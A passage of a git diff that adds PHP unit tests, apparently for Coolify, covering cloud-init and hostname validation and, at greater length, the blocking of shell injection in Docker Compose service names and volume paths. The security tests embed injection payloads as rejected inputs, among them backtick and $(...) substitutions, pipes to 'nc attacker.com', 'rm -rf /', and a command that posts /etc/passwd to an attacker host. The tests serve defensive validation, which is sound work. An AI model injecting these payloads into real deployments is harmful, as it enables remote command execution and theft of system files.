expect($errorMessage)->toContain('YAML'); +}); + +it('rejects script that is neither bash nor valid YAML', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + $errorMessage = ''; + + $script = <<<'INVALID' +this is not valid YAML + and has invalid indentation: + - item + without proper structure { +INVALID; + + $rule->validate('script', $script, function ($message) use (&$valid, &$errorMessage) { + $valid = false; + $errorMessage = $message; + }); + + expect($valid)->toBeFalse(); + expect($errorMessage)->toContain('bash script'); +}); + +it('accepts complex cloud-config with multiple sections', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + + $script = <<<'YAML' +#cloud-config +users: + - name: coolify + groups: sudo, docker + shell: /bin/bash + sudo: ['ALL=(ALL) NOPASSWD:ALL'] + ssh_authorized_keys: + - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... + +packages: + - docker.io + - docker-compose + - git + - curl + +package_update: true +package_upgrade: true + +runcmd: + - systemctl enable docker + - systemctl start docker + - usermod -aG docker coolify + - echo "Server setup complete" + +write_files: + - path: /etc/docker/daemon.json + content: | + { + "log-driver": "json-file", + "log-opts": { + "max-size": "10m", + "max-file": "3" + } + } +YAML; + + $rule->validate('script', $script, function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); +}); diff --git a/tests/Unit/ServiceConfigurationRefreshTest.php b/tests/Unit/ServiceConfigurationRefreshTest.php new file mode 100644 index 000000000..c4f4a9703 --- /dev/null +++ b/tests/Unit/ServiceConfigurationRefreshTest.php @@ -0,0 +1,44 @@ +toContain("'refreshServices' => 'refreshServices'") + ->toContain("'refresh' => 'refreshServices'"); +}); + +it('ensures Configuration component has refreshServices method', function () { + $configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php'); + + // Check that the refreshServices method exists + expect($configurationFile) + ->toContain('public function refreshServices()') + ->toContain('$this->service->refresh()') + ->toContain('$this->applications = $this->service->applications->sort()') + ->toContain('$this->databases = $this->service->databases->sort()'); +}); + +it('ensures StackForm dispatches refreshServices event on submit', function () { + $stackFormFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/StackForm.php'); + + // Check that StackForm dispatches refreshServices event + expect($stackFormFile) + ->toContain("->dispatch('refreshServices')"); +}); + +it('ensures EditDomain dispatches refreshServices event on submit', function () { + $editDomainFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/EditDomain.php'); + + // Check that EditDomain dispatches refreshServices event + expect($editDomainFile) + ->toContain("->dispatch('refreshServices')"); +}); diff --git a/tests/Unit/ServiceNameSecurityTest.php b/tests/Unit/ServiceNameSecurityTest.php new file mode 100644 index 000000000..56fcc51f5 --- /dev/null +++ b/tests/Unit/ServiceNameSecurityTest.php @@ -0,0 +1,242 @@ + validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('service names with command substitution are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'evil$(cat /etc/passwd)': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('service names with pipe injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web | nc attacker.com 1234': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('service names with semicolon injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web; curl attacker.com': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'separator'); +}); + +test('service names with ampersand injection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web & curl attacker.com':\n image: nginx", + "services:\n 'web && curl attacker.com':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('service names with redirection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web > /dev/null':\n image: nginx", + "services:\n 'web < input.txt':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('legitimate service names are accepted', function () { + $legitCompose = <<<'YAML' +services: + web: + image: nginx + api: + image: node:20 + database: + image: postgres:15 + redis-cache: + image: redis:7 + app_server: + image: python:3.11 + my-service.com: + image: alpine +YAML; + + $parsed = Yaml::parse($legitCompose); + + foreach ($parsed['services'] as $serviceName => $service) { + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); + } +}); + +test('service names used in docker network connect command', function () { + // This demonstrates the actual vulnerability from StartService.php:41 + $maliciousServiceName = 'evil`curl attacker.com`'; + $uuid = 'test-uuid-123'; + $network = 'coolify'; + + // Without validation, this would create a dangerous command + $dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}"; + + expect($dangerousCommand)->toContain('`curl attacker.com`'); + + // With validation, the service name should be rejected + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service name from the vulnerability report example', function () { + // The example could also target service names + $maliciousCompose = <<<'YAML' +services: + 'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with newline injection are rejected', function () { + $maliciousServiceName = "web\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class, 'newline'); +}); + +test('service names with variable substitution patterns are rejected', function () { + $maliciousNames = [ + 'web${PATH}', + 'app${USER}', + 'db${PWD}', + ]; + + foreach ($maliciousNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('service names provide helpful error messages', function () { + $maliciousServiceName = 'evil`command`'; + + try { + validateShellSafePath($maliciousServiceName, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + expect($e->getMessage())->toContain('backtick'); + } +}); + +test('multiple malicious services in one compose file', function () { + $maliciousCompose = <<<'YAML' +services: + 'web`whoami`': + image: nginx + 'api$(cat /etc/passwd)': + image: node + database: + image: postgres + 'cache; curl attacker.com': + image: redis +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceNames = array_keys($parsed['services']); + + // First and second service names should fail + expect(fn () => validateShellSafePath($serviceNames[0], 'service name')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath($serviceNames[1], 'service name')) + ->toThrow(Exception::class); + + // Third service name should pass (legitimate) + expect(fn () => validateShellSafePath($serviceNames[2], 'service name')) + ->not->toThrow(Exception::class); + + // Fourth service name should fail + expect(fn () => validateShellSafePath($serviceNames[3], 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with spaces are allowed', function () { + // Spaces themselves are not dangerous - shell escaping handles them + // Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them + $serviceName = 'my service'; + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); +}); + +test('common Docker Compose service naming patterns are allowed', function () { + $commonNames = [ + 'web', + 'api', + 'database', + 'redis', + 'postgres', + 'mysql', + 'mongodb', + 'app-server', + 'web_frontend', + 'api.backend', + 'db-01', + 'worker_1', + 'service123', + ]; + + foreach ($commonNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->not->toThrow(Exception::class); + } +}); diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php new file mode 100644 index 000000000..b52e0b820 --- /dev/null +++ b/tests/Unit/ServiceParserImageUpdateTest.php @@ -0,0 +1,55 @@ +toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") + ->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); +}); + +it('ensures service parser updates image after finding or creating service', function () { + // Read the serviceParser function from parsers.php + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Check that image update logic exists after firstOrCreate + expect($parsersFile) + ->toContain('// Update image if it changed') + ->toContain('if ($savedService->image !== $image) {') + ->toContain('$savedService->image = $image;') + ->toContain('$savedService->save();'); +}); + +it('ensures parseDockerComposeFile does not create duplicates on null savedService', function () { + // Read the parseDockerComposeFile function from shared.php + $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); + + // Check that the duplicate creation logic after is_null check has been fixed + // The old code would create a duplicate if savedService was null + // The new code checks for null within the else block and creates only if needed + expect($sharedFile) + ->toContain('if (is_null($savedService)) {') + ->toContain('$savedService = ServiceDatabase::create(['); +}); + +it('verifies image update logic is present in parseDockerComposeFile', function () { + // Read the parseDockerComposeFile function from shared.php + $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); + + // Verify the image update logic exists + expect($sharedFile) + ->toContain('// Check if image changed') + ->toContain('if ($savedService->image !== $image) {') + ->toContain('$savedService->image = $image;') + ->toContain('$savedService->save();'); +}); diff --git a/tests/Unit/ValidHostnameTest.php b/tests/Unit/ValidHostnameTest.php new file mode 100644 index 000000000..859262c3e --- /dev/null +++ b/tests/Unit/ValidHostnameTest.php @@ -0,0 +1,74 @@ +validate('server_name', $hostname, function () use (&$failCalled) { + $failCalled = true; + }); + + expect($failCalled)->toBeFalse(); +})->with([ + 'simple hostname' => 'myserver', + 'hostname with hyphen' => 'my-server', + 'hostname with numbers' => 'server123', + 'hostname starting with number' => '123server', + 'all numeric hostname' => '12345', + 'fqdn' => 'server.example.com', + 'subdomain' => 'web.app.example.com', + 'max label length' => str_repeat('a', 63), + 'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59), +]); + +it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) { + $rule = new ValidHostname; + $failCalled = false; + $errorMessage = ''; + + $rule->validate('server_name', $hostname, function ($message) use (&$failCalled, &$errorMessage) { + $failCalled = true; + $errorMessage = $message; + }); + + expect($failCalled)->toBeTrue(); + expect($errorMessage)->toContain($expectedError); +})->with([ + 'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'], + 'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'], + 'starts with dot' => ['.myserver', 'cannot start or end with a dot'], + 'ends with dot' => ['myserver.', 'cannot start or end with a dot'], + 'consecutive dots' => ['my..server', 'consecutive dots'], + 'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'], + 'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'], + 'empty label' => ['my..server', 'consecutive dots'], + 'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], +]); + +it('accepts empty hostname', function () { + $rule = new ValidHostname; + $failCalled = false; + + $rule->validate('server_name', '', function () use (&$failCalled) { + $failCalled = true; + }); + + expect($failCalled)->toBeFalse(); +}); + +it('trims whitespace before validation', function () { + $rule = new ValidHostname; + $failCalled = false; + + $rule->validate('server_name', ' myserver ', function () use (&$failCalled) { + $failCalled = true; + }); + + expect($failCalled)->toBeFalse(); +}); diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.php new file mode 100644 index 000000000..8181670e2 --- /dev/null +++ b/tests/Unit/ValidateShellSafePathTest.php @@ -0,0 +1,150 @@ + validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); + } +}); + +test('blocks backtick command substitution', function () { + $path = '/tmp/pwn`curl attacker.com`'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('blocks dollar-paren command substitution', function () { + $path = '/tmp/pwn$(cat /etc/passwd)'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks pipe operators', function () { + $path = '/tmp/file | nc attacker.com 1234'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('blocks semicolon command separator', function () { + $path = '/tmp/file; curl attacker.com'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'separator'); +}); + +test('blocks ampersand operators', function () { + $paths = [ + '/tmp/file & curl attacker.com', + '/tmp/file && curl attacker.com', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('blocks redirection operators', function () { + $paths = [ + '/tmp/file > /dev/null', + '/tmp/file < input.txt', + '/tmp/file >> output.log', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('blocks newline command separator', function () { + $path = "/tmp/file\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'newline'); +}); + +test('blocks tab character as token separator', function () { + $path = "/tmp/file\tcurl attacker.com"; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'tab'); +}); + +test('blocks complex command injection with the example from issue', function () { + $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'; + + expect(fn () => validateShellSafePath($path, 'volume source')) + ->toThrow(Exception::class); +}); + +test('blocks nested command substitution', function () { + $path = '/tmp/$(echo $(whoami))'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks variable substitution patterns', function () { + $paths = [ + '/tmp/${PWD}', + '/tmp/${PATH}', + 'data/${USER}', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('provides context-specific error messages', function () { + $path = '/tmp/evil`command`'; + + try { + validateShellSafePath($path, 'volume source'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('volume source'); + } + + try { + validateShellSafePath($path, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + } +}); + +test('handles empty strings safely', function () { + expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class); +}); + +test('allows paths with spaces', function () { + // Spaces themselves are not dangerous in properly quoted shell commands + // The escaping should be handled elsewhere (e.g., escapeshellarg) + $path = '/path/with spaces/file'; + + expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); +}); + +test('blocks multiple attack vectors in one path', function () { + $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); +}); diff --git a/tests/Unit/VolumeArrayFormatSecurityTest.php b/tests/Unit/VolumeArrayFormatSecurityTest.php new file mode 100644 index 000000000..97a6819b2 --- /dev/null +++ b/tests/Unit/VolumeArrayFormatSecurityTest.php @@ -0,0 +1,270 @@ +toBeArray(); + expect($volumes[0])->toHaveKey('type'); + expect($volumes[0])->toHaveKey('source'); + expect($volumes[0])->toHaveKey('target'); +}); + +test('malicious array-format volume with backtick injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['evil']['volumes']; + + // The malicious volume is now an array + expect($volumes[0])->toBeArray(); + expect($volumes[0]['source'])->toContain('`'); + + // When applicationParser or serviceParser processes this, + // it should throw an exception due to our validation + $source = $volumes[0]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('malicious array-format volume with command substitution', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn$(cat /etc/passwd)' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('malicious array-format volume with pipe injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file | nc attacker.com 1234' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('malicious array-format volume with semicolon injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file; curl attacker.com' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'separator'); +}); + +test('exact example from security report in array format', function () { + $dockerComposeYaml = <<<'YAML' +services: + coolify: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['coolify']['volumes'][0]['source']; + + // This should be caught by validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('legitimate array-format volumes are allowed', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ./data + target: /app/data + - type: bind + source: /var/lib/data + target: /data + - type: volume + source: my-volume + target: /app/volume +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // All these legitimate volumes should pass validation + foreach ($volumes as $volume) { + $source = $volume['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->not->toThrow(Exception::class); + } +}); + +test('array-format with environment variables', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ${DATA_PATH} + target: /app/data +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['web']['volumes'][0]['source']; + + // Simple environment variables should be allowed + expect($source)->toBe('${DATA_PATH}'); + // Our validation allows simple env var references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true +}); + +test('array-format with safe environment variable default', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: '${DATA_PATH:-./data}' + target: /app/data +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['web']['volumes'][0]['source']; + + // Parse correctly extracts the source value + expect($source)->toBe('${DATA_PATH:-./data}'); + + // Safe environment variable with benign default should be allowed + // The pre-save validation skips env vars with safe defaults + expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) + ->not->toThrow(Exception::class); +}); + +test('array-format with malicious environment variable default', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '${VAR:-/tmp/evil`whoami`}' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + // This contains backticks and should fail validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('mixed string and array format volumes in same compose', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - './safe/data:/app/data' + - type: bind + source: ./another/safe/path + target: /app/other + - '/tmp/evil`whoami`:/app/evil' + - type: bind + source: '/tmp/evil$(id)' + target: /app/evil2 +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // String format malicious volume (index 2) + expect(fn () => parseDockerVolumeString($volumes[2])) + ->toThrow(Exception::class); + + // Array format malicious volume (index 3) + $source = $volumes[3]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); + + // Legitimate volumes should work (indexes 0 and 1) + expect(fn () => parseDockerVolumeString($volumes[0])) + ->not->toThrow(Exception::class); + + $safeSource = $volumes[1]['source']; + expect(fn () => validateShellSafePath($safeSource, 'volume source')) + ->not->toThrow(Exception::class); +}); + +test('array-format target path injection is also blocked', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: ./data + target: '/app`whoami`' +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $target = $parsed['services']['evil']['volumes'][0]['target']; + + // Target paths should also be validated + expect(fn () => validateShellSafePath($target, 'volume target')) + ->toThrow(Exception::class, 'backtick'); +}); diff --git a/tests/Unit/VolumeSecurityTest.php b/tests/Unit/VolumeSecurityTest.php new file mode 100644 index 000000000..d7f20fc0e --- /dev/null +++ b/tests/Unit/VolumeSecurityTest.php @@ -0,0 +1,186 @@ + parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString rejects backtick injection', function () { + $maliciousVolumes = [ + '`whoami`:/app', + '/tmp/evil`id`:/data', + './data`nc attacker.com 1234`:/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects dollar-paren injection', function () { + $maliciousVolumes = [ + '$(whoami):/app', + '/tmp/evil$(cat /etc/passwd):/data', + './data$(curl attacker.com):/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects pipe injection', function () { + $maliciousVolume = '/tmp/file | nc attacker.com 1234:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects semicolon injection', function () { + $maliciousVolume = '/tmp/file; curl attacker.com:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects ampersand injection', function () { + $maliciousVolumes = [ + '/tmp/file & curl attacker.com:/app', + '/tmp/file && curl attacker.com:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts legitimate volume definitions', function () { + $legitimateVolumes = [ + 'gitea:/data', + './data:/app/data', + '/var/lib/data:/data', + '/etc/localtime:/etc/localtime:ro', + 'my-app_data:/var/lib/app-data', + 'C:/Windows/Data:/data', + '/path-with-dashes:/app', + '/path_with_underscores:/app', + 'volume.with.dots:/data', + ]; + + foreach ($legitimateVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result)->toHaveKey('source'); + expect($result)->toHaveKey('target'); + } +}); + +test('parseDockerVolumeString accepts simple environment variables', function () { + $volumes = [ + '${DATA_PATH}:/data', + '${VOLUME_PATH}:/app', + '${MY_VAR_123}:/var/lib/data', + ]; + + foreach ($volumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects environment variables with command injection in default', function () { + $maliciousVolumes = [ + '${VAR:-`whoami`}:/app', + '${VAR:-$(cat /etc/passwd)}:/data', + '${PATH:-/tmp;curl attacker.com}:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts environment variables with safe defaults', function () { + $safeVolumes = [ + '${VOLUME_DB_PATH:-db}:/data/db', + '${DATA_PATH:-./data}:/app/data', + '${VOLUME_PATH:-/var/lib/data}:/data', + ]; + + foreach ($safeVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects injection in target path', function () { + // While target paths are less dangerous, we should still validate them + $maliciousVolumes = [ + '/data:/app`whoami`', + './data:/tmp/evil$(id)', + 'volume:/data; curl attacker.com', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects the exact example from the security report', function () { + $exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app'; + + expect(fn () => parseDockerVolumeString($exactMaliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString provides helpful error messages', function () { + $maliciousVolume = '/tmp/evil`command`:/app'; + + try { + parseDockerVolumeString($maliciousVolume); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('Invalid Docker volume definition'); + expect($e->getMessage())->toContain('backtick'); + expect($e->getMessage())->toContain('volume source'); + } +}); + +test('parseDockerVolumeString handles whitespace with malicious content', function () { + $maliciousVolume = ' /tmp/evil`whoami`:/app '; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects redirection operators', function () { + $maliciousVolumes = [ + '/tmp/file > /dev/null:/app', + '/tmp/file < input.txt:/app', + './data >> output.log:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects newline and tab in volume strings', function () { + // Newline can be used as command separator + expect(fn () => parseDockerVolumeString("/data\n:/app")) + ->toThrow(Exception::class); + + // Tab can be used as token separator + expect(fn () => parseDockerVolumeString("/data\t:/app")) + ->toThrow(Exception::class); +}); diff --git a/tests/Unit/WindowsPathVolumeTest.php b/tests/Unit/WindowsPathVolumeTest.php new file mode 100644 index 000000000..1d3af6abd --- /dev/null +++ b/tests/Unit/WindowsPathVolumeTest.php @@ -0,0 +1,64 @@ +toBe('C:\\host\\path'); + expect((string) $result['target'])->toBe('/container'); +}); + +test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () { + $windowsVolume = 'C:\\Users\\Data:/app/data'; + + // Should not throw an exception + validateVolumeStringForInjection($windowsVolume); + + // If we get here, the test passed + expect(true)->toBeTrue(); +}); + +test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () { + $maliciousVolume = 'C:\\host\\`whoami`:/container'; + + expect(fn () => validateVolumeStringForInjection($maliciousVolume)) + ->toThrow(\Exception::class); +}); + +test('validateDockerComposeForInjection handles Windows paths in compose files', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - C:\Users\Data:/app/data +YAML; + + // Should not throw an exception + validateDockerComposeForInjection($dockerComposeYaml); + + expect(true)->toBeTrue(); +}); + +test('validateDockerComposeForInjection rejects Windows paths with injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - C:\Users\$(whoami):/app/data +YAML; + + expect(fn () => validateDockerComposeForInjection($dockerComposeYaml)) + ->toThrow(\Exception::class); +}); + +test('Windows paths with complex paths and spaces are handled correctly', function () { + $windowsVolume = 'C:\\Program Files\\MyApp:/app'; + + $result = parseDockerVolumeString($windowsVolume); + + expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp'); + expect((string) $result['target'])->toBe('/app'); +}); diff --git a/versions.json b/versions.json index 2e5cc5e84..dc63e2793 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.435" + "version": "4.0.0-beta.436" }, "nightly": { - "version": "4.0.0-beta.436" + "version": "4.0.0-beta.437" }, "helper": { "version": "1.0.11"